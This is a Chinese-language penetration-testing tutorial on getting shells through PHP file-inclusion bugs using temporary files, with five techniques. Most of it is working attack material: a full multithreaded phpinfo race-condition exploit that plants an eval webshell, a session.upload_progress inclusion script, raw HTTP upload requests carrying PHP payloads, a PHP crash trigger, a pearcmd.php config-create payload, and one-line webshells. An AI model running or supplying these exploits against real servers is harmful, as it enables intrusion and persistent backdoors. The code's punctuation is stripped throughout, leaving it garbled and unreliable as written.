摘要本文围绕 PHP 文件包含漏洞详细梳理了五种利用临时文件实现代码执行或 Getshell 的实战思路通过 phpinfo() 信息泄露进行条件竞争借助 Windows 通配符实现精准包含利用 session.upload_progress 写入 Session 文件通过 Segfault 异常退出保留临时文件以及巧妙使用 pearcmd.php 的 config-create 功能写入后门。每种方法均给出了原理分析、环境依赖和可复现的脚本示例适合安全研究人员和渗透测试者参考。企业很多业务都在云上 用容器来跑就可以节省很多资源 一般用docker 但是docker的日志文件权限很死 基本上没有包含思路 所以考虑到临时文件 我们可以创建两个线程 一个来不断上传文件 一个来不断包含文件 但是我们需要获取临时文件路径 考虑到phpinfo里面会携带临时文件路径我们对任意一个PHP文件发送一个上传的数据包时不管这个PHP服务后端是否有处理$_FILES的逻辑PHP都会将用户上传的数据先保存到一个临时文件中这个文件一般位于系统临时目录文件名是php开头后面跟6个随机字符在整个PHP文件执行完毕后这些上传的临时文件就会被清理掉。今天演示的案例 前提下需要有文件包含漏洞才可以利用临时文件包含docker下的临时文件phpinfo与条件竞争依赖phpinfo产生的信息 里面会有临时文件的目录该脚本实现了一个典型的phpinfo() LFI 竞态条件利用流程信息泄露阶段向目标/phpinfo.php发送包含文件上传数据的 POST 请求从返回的 PHP 环境信息中解析出临时文件路径名如/tmp/phpXXXXXX载荷投放阶段在请求中附带恶意 payload内容为?php file_put_contents(/tmp/g, ?eval($_REQUEST[1])?)?旨在目标服务器上写入一个一句话木马竞速包含阶段通过多线程默认 10 个持续发送 LFI 请求GET /include.php?123%s将步骤 1 中获取的临时文件名作为参数传入在 PHP 清理临时文件之前触发文件包含从而执行 payload 并成功创建持久化后门/tmp/g。#!/usr/bin/python import sys import threading import socket def setup(host, port): TAGSecurity Test PAYLOAD%s\r ?php file_put_contents(/tmp/g, ?eval($_REQUEST[1])?)?\r % TAG REQ1_DATA-----------------------------7dbff1ded0714\r Content-Disposition: form-data; namedummyname; filenametest.txt\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r % PAYLOAD paddingA * 5000 REQ1POST /phpinfo.php?apadding HTTP/1.1\r Cookie: PHPSESSIDq249llvfromc1or39t6tvnun42; othercookiepadding\r HTTP_ACCEPT: padding \r HTTP_USER_AGENT: padding\r HTTP_ACCEPT_LANGUAGE: padding\r HTTP_PRAGMA: padding\r Content-Type: multipart/form-data; boundary---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQGET /include.php?123%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d while len(d) offset: d s.recv(offset) try: i d.index([tmp_name] gt; ) fn d[i17:i31] except ValueError: return None s2.send(lfireq % (fn, host)) d s2.recv(4096) s.close() s2.close() if d.find(tag) ! -1: return fn counter0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event e self.lock l self.maxattempts m self.args args def run(self): global counter while not self.event.is_set(): with self.lock: if counter self.maxattempts: return counter1 try: x phpInfoLFI(*self.args) if self.event.is_set(): break if x: print \nGot it! Shell created in /tmp/g self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): Gets offset of tmp_name in the php output s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d while True: i s.recv(4096) di if i : break # detect the final chunk if i.endswith(0\r\n\r\n): break s.close() i d.find([tmp_name] gt; ) if i -1: raise ValueError(No php tmp_name in phpinfo output) print found %s at %i % (d[i:i10],i) # padded up a bit return i256 def main(): print LFI With PHPInfo() print - * 30 if len(sys.argv) 2: print Usage: %s host [port] [threads] % sys.argv[0] sys.exit(1) try: host socket.gethostbyname(sys.argv[1]) except socket.error, e: print Error with hostname %s: %s % (sys.argv[1], e) sys.exit(1) port80 try: port int(sys.argv[2]) except IndexError: pass except ValueError, e: print Error with port %d: %s % (sys.argv[2], e) sys.exit(1) poolsz10 try: poolsz int(sys.argv[3]) except IndexError: pass except ValueError, e: print Error with poolsz %d: %s % (sys.argv[3], e) sys.exit(1) print Getting initial offset..., reqphp, tag, reqlfi setup(host, port) offset getOffset(host, port, reqphp) sys.stdout.flush() maxattempts 1000 e threading.Event() l threading.Lock() print Spawning worker pool (%d)... % poolsz sys.stdout.flush() tp [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( \r% 4d / % 4d % (counter, maxattempts)) sys.stdout.flush() if counter maxattempts: break print if e.is_set(): print Woot! \m/ else: print :( except KeyboardInterrupt: print \nTelling threads to shutdown... e.set() print Shuttin down... for t in tp: t.join() if __name____main__: main()windows上传文件精准包含依赖windows环境 docker下不行这里我们利用phpstudy 来模仿windows php.ini 里面需要修改upload_tmp_dir C:\Windows\Temp在www下面创建一个xss_location文件夹写入include.php?php include $_REQUEST[file]; ?然后利用文件上传产生的缓存文件进行命令执行从而getshellhtml body form actiontest.php methodpost enctypemultipart/form-data label forfileFilename:/label input typefile namefile idfile / br / input typesubmit nameupload valueupload / /form /body /html需要使用windows下的通配符即匹配0个以上的字符匹配1个字符匹配点号POST /xss_location/include.php HTTP/1.1 Host: 10.100.29.220 Content-Type: multipart/form-data; boundary----WebKitFormBoundary163SaL5Buko78Yfw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q0.9 Cookie: PHPSESSIDir5m4fcuq8jqotmmp3i8tltjr0 Connection: keep-alive Content-Length: 477 ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; namefile; filenameflag.txt Content-Type: text/plain ?php fputs(fopen(D:\phpstudy_pro\www\aaaaa.php,w),?php phpinfo(); ?); ? yes ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; namefile C:\Windows\Temp\php ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; nameupload upload ------WebKitFormBoundary163SaL5Buko78Yfw--本来这个网站就有文件包含漏洞 然后 我上传文件的时候 产生了一个临时文件 然后向临时文件里面 写入?php fputs(fopen(D:\phpstudy_pro\www\aaaaa.php,w),?php phpinfo(); ?); ? 来进行包含session.upload_progress与Session文件包含 成功率最高PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件目标环境开启了session.upload_progress.enable选项 监控文件上传进度发送一个文件上传请求其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段请求的Cookie中包含Session IDsession.upload_progress.name PHP_SESSION_UPLOAD_PROGRESStypetext namePHP_SESSION_UPLOAD_PROGRESS当 session.upload_progress.name 的值和 namePHP_SESSION_UPLOAD_PROGRESS 相同时上传进度可以在 Session 中获得临时文件可能会存到 Session 中获取。session.upload_progress.enable On 这个开启时PHP 会在上传请求被读取完成后自动清理掉这个 Session。同样两个线程一个来包含一个来上传访问一个网站时会产生一个 Session然后 Session 会返回一个 Cookie里面包含了 Cookie: PHPSESSIDir5m4fcuq8jqotmmp3i8tltjr0。Session 文件名就是利用 Session ID 来命名的比如这里就是 Session 文件名sess_ir5m4fcuq8jqotmmp3i8tltjr0。vim 1.pyimport threading import requests from concurrent.futures import ThreadPoolExecutor, wait target http://172.25.250.133:8086/include.php session requests.session() flag helloworld #session文件名sess_hellword def upload(e: threading.Event): files [ (file, (load.png, ba * 40960, image/png)), ] data {PHP_SESSION_UPLOAD_PROGRESS: rf?php file_put_contents(/tmp/success, ?phpinfo()?); echo({flag}); ?} while not e.is_set(): requests.post( target, datadata, filesfiles, cookies{PHPSESSID: flag}, ) def write(e: threading.Event): while not e.is_set(): response requests.get( f{target}?file/tmp/sess_{flag}, ) if flag.encode() in response.content: e.set() if __name__ __main__: futures [] event threading.Event() pool ThreadPoolExecutor(15) for i in range(10): futures.append(pool.submit(upload, event)) for i in range(5): futures.append(pool.submit(write, event)) wait(futures)172.25.250.133:8086/include.php?file/tmp/successSegfault遗留下TEMP文件如果关闭了session.upload_progress.enable如果我们可以让PHP进程在请求结束前出现异常退出执行那么临时文件就可以免于被删除了。PHP底层是C语言开发的不少内存错误都会导致进程异常退出当然不论是Apache还是PHP-FPM都会存在master进程在某一个子进程异常退出后会拉起新的进程来处理用户请求不用担心搞挂服务器。导致PHP crash的方法include.php?php://filter/string.strip_tags/resource/etc/passwd;这个Bug在7.1.20以后被修复也没有留下更新日志我们可以使用7.1.19版本的PHP进行尝试POST /include.php?filephp://filter/string.strip_tags/resource/etc/passwd HTTP/1.1 Host: 10.100.29.220 Content-Type: multipart/form-data; boundary----WebKitFormBoundary163SaL5Buko78Yfw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q0.9 Cookie: PHPSESSIDir5m4fcuq8jqotmmp3i8tltjr0 Connection: keep-alive Content-Length: 477 ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; namefile; filenameflag.txt Content-Type: text/plain ?php fputs(fopen(D:\phpstudy_pro\www\aaaaa.php,w),?php phpinfo(); ?); ? yes ------WebKitFormBoundary163SaL5Buko78Yfw报错502表示临时文件生成 我们可以多提交几次 产生很多临时文件 这样方便我们爆破 写py脚本 172.25.250.133/include.php?file/tmp/php...... 后面6位 匹配我们的产生的临时文件 就算成功pearcmd.php的巧妙利用限制条件Docker环境下的PHP会开启register_argc_argv这个配置在Docker任意版本镜像中pcel/pear都会被默认安装安装的路径在/usr/local/lib/php。pearcmd.php是 PHP 官方扩展库 PEARPHP Extension and Application Repository的命令行管理工具的核心脚本index.php?config-create/file/usr/local/lib/php/pearcmd.php/?phpinfo()?/tmp/hello.php // 第一个 / 表示占位符 因为config-create 内容 文件路径 没有写 而是写在了后面 所以先占位 第二个表示分割 这个 / 作为 ?phpinfo()? 的锚点确保在按 分割时?phpinfo()? 能正确出现在 argv[1] 中。第一个 / 表示占位符 因为config-create 内容 文件路径 没有写 而是写在了后面 所以先占位 第二个表示分割 这个 / 作为 ?phpinfo()? 的锚点确保在按 分割时?phpinfo()? 能正确出现在 argv[1] 中。这个请求的意思是让pearcmd.php执行config-create命令并将命令中的第一个参数(?phpinfo()?)写入到第二个参数指定的文件(/tmp/hello.php)中10。之后再次利用文件包含漏洞包含/tmp/hello.php就能执行其中的PHP代码。注意?phpinfo()??system($_GET[123])??eval($_POST[123]);? 一句话木马 连接蚁剑